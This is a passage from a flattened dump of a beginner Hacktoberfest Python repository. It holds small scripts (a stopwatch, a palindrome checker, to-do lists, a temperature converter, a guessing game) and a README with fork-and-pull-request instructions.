timedelta(0) 11 | 12 | self.time_label = tk.Label(root, text="00:00.0", font=("Arial", 40)) 13 | self.start_button = tk.Button(root, text="Start", command=self.start) 14 | self.stop_button = tk.Button(root, text="Stop", command=self.stop) 15 | self.reset_button = tk.Button(root, text="Reset", command=self.reset) 16 | 17 | self.time_label.pack() 18 | self.start_button.pack() 19 | self.stop_button.pack() 20 | self.reset_button.pack() 21 | 22 | self.update_time() 23 | 24 | def start(self): 25 | if not self.is_running: 26 | self.is_running = True 27 | self.start_time = datetime.now() - self.elapsed_time 28 | self.update_time() 29 | 30 | def stop(self): 31 | if self.is_running: 32 | self.is_running = False 33 | self.elapsed_time = datetime.now() - self.start_time 34 | 35 | def reset(self): 36 | self.is_running = False 37 | self.elapsed_time = timedelta(0) 38 | self.update_time() 39 | 40 | def update_time(self): 41 | if self.is_running: 42 | self.elapsed_time = datetime.now() - self.start_time 43 | time_str = str(self.elapsed_time).split('.')[0] 44 | self.time_label.config(text=time_str) 45 | self.root.after(100, self.update_time) 46 | 47 | root = tk.Tk() 48 | stopwatch = Stopwatch(root) 49 | root.mainloop() 50 | -------------------------------------------------------------------------------- /Hacktober2023/string_palidrome.py: -------------------------------------------------------------------------------- 1 | def palindrome(n): 2 | n=n.lower() 3 | l=len(n) 4 | mid=l//2 5 | rev=-1 6 | for i in range(mid): 7 | if n[i]==n[rev]: 8 | rev-=1 9 | else: 10 | print(n,'is not a palindrome') 11 | break 12 | else: 13 | print(n,'is a palindrome') 14 | s=input('Enter string: ') 15 | palindrome(s) -------------------------------------------------------------------------------- /Hacktober2023/sum_array_elements_using_recursion.py: -------------------------------------------------------------------------------- 1 | # Recursive function to sum elements of an array in Python 2 | 3 | #Function Definiton 4 | def sum_array(ary): 5 | # Base case: if the array is empty, the sum is 0 6 | if len(ary) == 0: 7 | return 0 8 | # Recursive case: add the first element to the sum of the rest of the array 9 | else: 10 | return ary[0] + sum_array(ary[1:]) 11 | 12 | # Example: 13 | my_array = [11, 31, 55, 72, 98 , 11, 13, 51, 71, 91, 99, 745, 429, 658] 14 | result = sum_array(my_array) 15 | print("The sum of the array is:", result) 16 | 17 | -------------------------------------------------------------------------------- /Hacktober2023/tasks.py: -------------------------------------------------------------------------------- 1 | # Initialize an empty list to store tasks 2 | tasks = [] 3 | 4 | # Function to add a task to the list 5 | def add_task(task): 6 | tasks.append(task) 7 | print("Task added: ", task) 8 | 9 | # Function to view all tasks in the list 10 | def view_tasks(): 11 | if tasks: 12 | print("Tasks:") 13 | for i, task in enumerate(tasks, 1): 14 | print(f"{i}. {task}") 15 | else: 16 | print("No tasks to display.") 17 | 18 | # Function to delete a task from the list 19 | def delete_task(task_number): 20 | if task_number > 0 and task_number <= len(tasks): 21 | deleted_task = tasks.pop(task_number - 1) 22 | print("Deleted task:", deleted_task) 23 | else: 24 | print("Invalid task number.") 25 | 26 | # Main loop 27 | while True: 28 | print("\nOptions:") 29 | print("1. Add a task") 30 | print("2. View tasks") 31 | print("3. Delete a task") 32 | print("4. Quit") 33 | 34 | choice = input("Enter your choice: ") 35 | 36 | if choice == '1': 37 | task = input("Enter the task: ") 38 | add_task(task) 39 | elif choice == '2': 40 | view_tasks() 41 | elif choice == '3': 42 | task_number = int(input("Enter the task number to delete: ")) 43 | delete_task(task_number) 44 | elif choice == '4': 45 | print("Goodbye!") 46 | break 47 | else: 48 | print("Invalid choice. Please try again.") 49 | -------------------------------------------------------------------------------- /Hacktober2023/temperature_converter.py: -------------------------------------------------------------------------------- 1 | ''' Program to convert between temperatures in Fahrenheit and Celsius ''' 2 | 3 | def convert_celsius(celsius): 4 | fahrenheit = (celsius * (9/5)) + 32 5 | return fahrenheit 6 | 7 | def convert_fahrenheit(fahrenheit): 8 | celsius = (fahrenheit - 32) * 5/9 9 | return celsius 10 | 11 | def main(): 12 | print(f"Please enter the temperature's input type of either Fahrenheit (F) or Celsius (C).\n") 13 | temperature_type = input("Will this temperature be in Fahrenheit (F) or Celsius (C)? ") 14 | 15 | if temperature_type == 'C' or temperature_type == 'c': 16 | temperature_input = float(input("Enter temperature in Celsius: ")) 17 | temperature_output = convert_celsius(temperature_input) 18 | print(f"{temperature_input} degrees in Celsius is equal to {temperature_output} degrees in Fahrenheit.") 19 | elif temperature_type == 'F' or temperature_type == 'f': 20 | temperature_input = float(input("Enter temperature in Fahrenheit: ")) 21 | temperature_output = convert_fahrenheit(temperature_input) 22 | print(f"{temperature_input} degrees in Fahrenheit is equal to {temperature_output} degrees in Celsius.") 23 | else: 24 | print('\nPlease try again and enter a valid input of F, C, f, or c.') 25 | 26 | if __name__ == "__main__": 27 | main() 28 | -------------------------------------------------------------------------------- /Hacktober2023/to-do-list.py: -------------------------------------------------------------------------------- 1 | # Define an empty dictionary to store tasks 2 | tasks = {} 3 | 4 | def add_task(): 5 | task_name = input("Enter a new task: ") 6 | tasks[task_name] = False # False represents that the task is not completed 7 | 8 | def view_tasks(): 9 | print("\nTo-Do List:") 10 | for task, completed in tasks.items(): 11 | status = "Completed" if completed else "Not Completed" 12 | print(f"{task} - {status}") 13 | 14 | def mark_completed(): 15 | task_name = input("Enter the task you want to mark as completed: ") 16 | if task_name in tasks: 17 | tasks[task_name] = True 18 | print(f"{task_name} marked as completed.") 19 | else: 20 | print(f"{task_name} not found in the to-do list.") 21 | 22 | while True: 23 | print("\nOptions:") 24 | print("1. Add a new task") 25 | print("2. View tasks") 26 | print("3. Mark a task as completed") 27 | print("4. Quit") 28 | 29 | choice = input("Enter your choice: ") 30 | 31 | if choice == '1': 32 | add_task() 33 | elif choice == '2': 34 | view_tasks() 35 | elif choice == '3': 36 | mark_completed() 37 | elif choice == '4': 38 | break 39 | else: 40 | print("Invalid choice. Please choose a valid option.") 41 | -------------------------------------------------------------------------------- /Hacktober2023/to-do.py: -------------------------------------------------------------------------------- 1 | # Initialize an empty to-do list 2 | todo_list = [] 3 | 4 | # Function to add a task to the to-do list 5 | def add_task(task): 6 | todo_list.append(task) 7 | print(f"Task '{task}' added to the to-do list.") 8 | 9 | # Function to view the to-do list 10 | def view_tasks(): 11 | if todo_list: 12 | print("To-Do List:") 13 | for i, task in enumerate(todo_list, start=1): 14 | print(f"{i}. {task}") 15 | else: 16 | print("To-Do List is empty.") 17 | 18 | # Function to remove a task from the to-do list 19 | def remove_task(task_index): 20 | if task_index >= 1 and task_index <= len(todo_list): 21 | removed_task = todo_list.pop(task_index - 1) 22 | print(f"Task '{removed_task}' removed from the to-do list.") 23 | else: 24 | print("Invalid task index.") 25 | 26 | # Main program loop 27 | while True: 28 | print("\nOptions:") 29 | print("1. Add Task") 30 | print("2. View Tasks") 31 | print("3. Remove Task") 32 | print("4. Quit") 33 | 34 | choice = input("Enter your choice: ") 35 | 36 | if choice == "1": 37 | task = input("Enter the task: ") 38 | add_task(task) 39 | elif choice == "2": 40 | view_tasks() 41 | elif choice == "3": 42 | task_index = int(input("Enter the task index to remove: ")) 43 | remove_task(task_index) 44 | elif choice == "4": 45 | break 46 | else: 47 | print("Invalid choice. Please select a valid option.") 48 | -------------------------------------------------------------------------------- /Hacktober2023/welcome.py: -------------------------------------------------------------------------------- 1 | print("Welcome to Hacktoberfest 2023") 2 | print("Please place all your Hacktober2023 codes in this dir") 3 | print("Celebrate opensource!") 4 | -------------------------------------------------------------------------------- /Hacktober2023/wordcounter.py: -------------------------------------------------------------------------------- 1 | from collections import Counter 2 | 3 | text = "This is a sample text. This text contains some words. Sample text is used for counting words." 4 | 5 | words = text.split() 6 | word_counts = Counter(words) 7 | 8 | for word, count in word_counts.items(): 9 | print(f"'{word}': {count} times") 10 | -------------------------------------------------------------------------------- /Hacktober2024/PLACEHOLDER: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techyminati/python_codes/59870152b4409b7a244b42854e39955ff629bc79/Hacktober2024/PLACEHOLDER -------------------------------------------------------------------------------- /Hacktober2024/guessing.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def guessing_game(): 4 | print("Welcome to the Guessing Game!") 5 | lower_bound = 1 6 | upper_bound = 100 7 | number_to_guess = random.randint(lower_bound, upper_bound) 8 | attempts = 0 9 | 10 | while True: 11 | try: 12 | guess = int(input(f"Guess a number between {lower_bound} and {upper_bound}: ")) 13 | attempts += 1 14 | 15 | if guess < lower_bound or guess > upper_bound: 16 | print(f"Please guess a number within the range of {lower_bound} to {upper_bound}.") 17 | continue 18 | 19 | if guess < number_to_guess: 20 | print("Too low! Try again.") 21 | elif guess > number_to_guess: 22 | print("Too high! Try again.") 23 | else: 24 | print(f"Congratulations! You've guessed the number {number_to_guess} in {attempts} attempts.") 25 | break 26 | except ValueError: 27 | print("Invalid input. Please enter a valid number.") 28 | 29 | if __name__ == "__main__": 30 | guessing_game() 31 | -------------------------------------------------------------------------------- /Hacktober2024/new_game.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | 4 | class Game: 5 | def __init__(self): 6 | self.state = "start" 7 | self.score = 0 8 | 9 | def play(self): 10 | while self.state != "end": 11 | self.update_state() 12 | self.perform_action() 13 | self.show_score() 14 | time.sleep(1) 15 | 16 | def update_state(self): 17 | if random.choice([True, False]): 18 | self.state = "playing" 19 | else: 20 | self.state = "paused" 21 | 22 | def perform_action(self): 23 | if self.state == "playing": 24 | action = random.choice([self.do_nothing, self.do_nothing_else]) 25 | action() 26 | 27 | def do_nothing(self): 28 | print("Doing nothing...") 29 | 30 | def do_nothing_else(self): 31 | print("Still doing nothing...") 32 | 33 | def show_score(self): 34 | self.score += random.randint(1, 3) 35 | print(f"Current score: {self.score}") 36 | 37 | def main(): 38 | game = Game() 39 | game.play() 40 | 41 | if __name__ == "__main__": 42 | main() 43 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # 🎃 HacktoberFest 2024 Starter Project 🎃 4 | 5 | This is a beginner friendly repository made specifically for Hacktoberfest. 6 | 7 | ## What is Hacktoberfest? 8 | 9 | A month-long celebration from October 1st - 31st sponsored by [Digital Ocean](https://hacktoberfest.digitalocean.com/) and [GitHub](https://github.com/blog/2433-celebrate-open-source-this-october-with-hacktoberfest) to get people involved in [Open Source](https://github.com/open-source). Create your very first pull request to any public repository on GitHub and contribute to the open source developer community. 10 | 11 | [https://hacktoberfest.digitalocean.com/](https://hacktoberfest.digitalocean.com/) 12 | 13 | ## Getting started 14 | 15 | - Fork this repository (Click the Fork button in the top right of this page, click your Profile Image) 16 | - Clone your fork down to your local machine 17 | 18 | ```markdown 19 | git clone https://github.com/your-username/python_codes.git 20 | ``` 21 | 22 | - Make your changes ( eg: Add Some python code ) 23 | - Commit and push 24 | 25 | ```markdown 26 | git add . 27 | git commit -m 'Commit message' 28 | git push origin branch-name 29 | ``` 30 | 31 | ## How to Participate 32 | 33 | - Create a new pull request from your forked repository (Click the `New Pull Request` button located at the top of your repo) 34 | - Wait for your PR review and merge approval! 35 | - **Star this repository** 36 | - Enjoy & Wait for your free swags! 37 | --------------------------------------------------------------------------------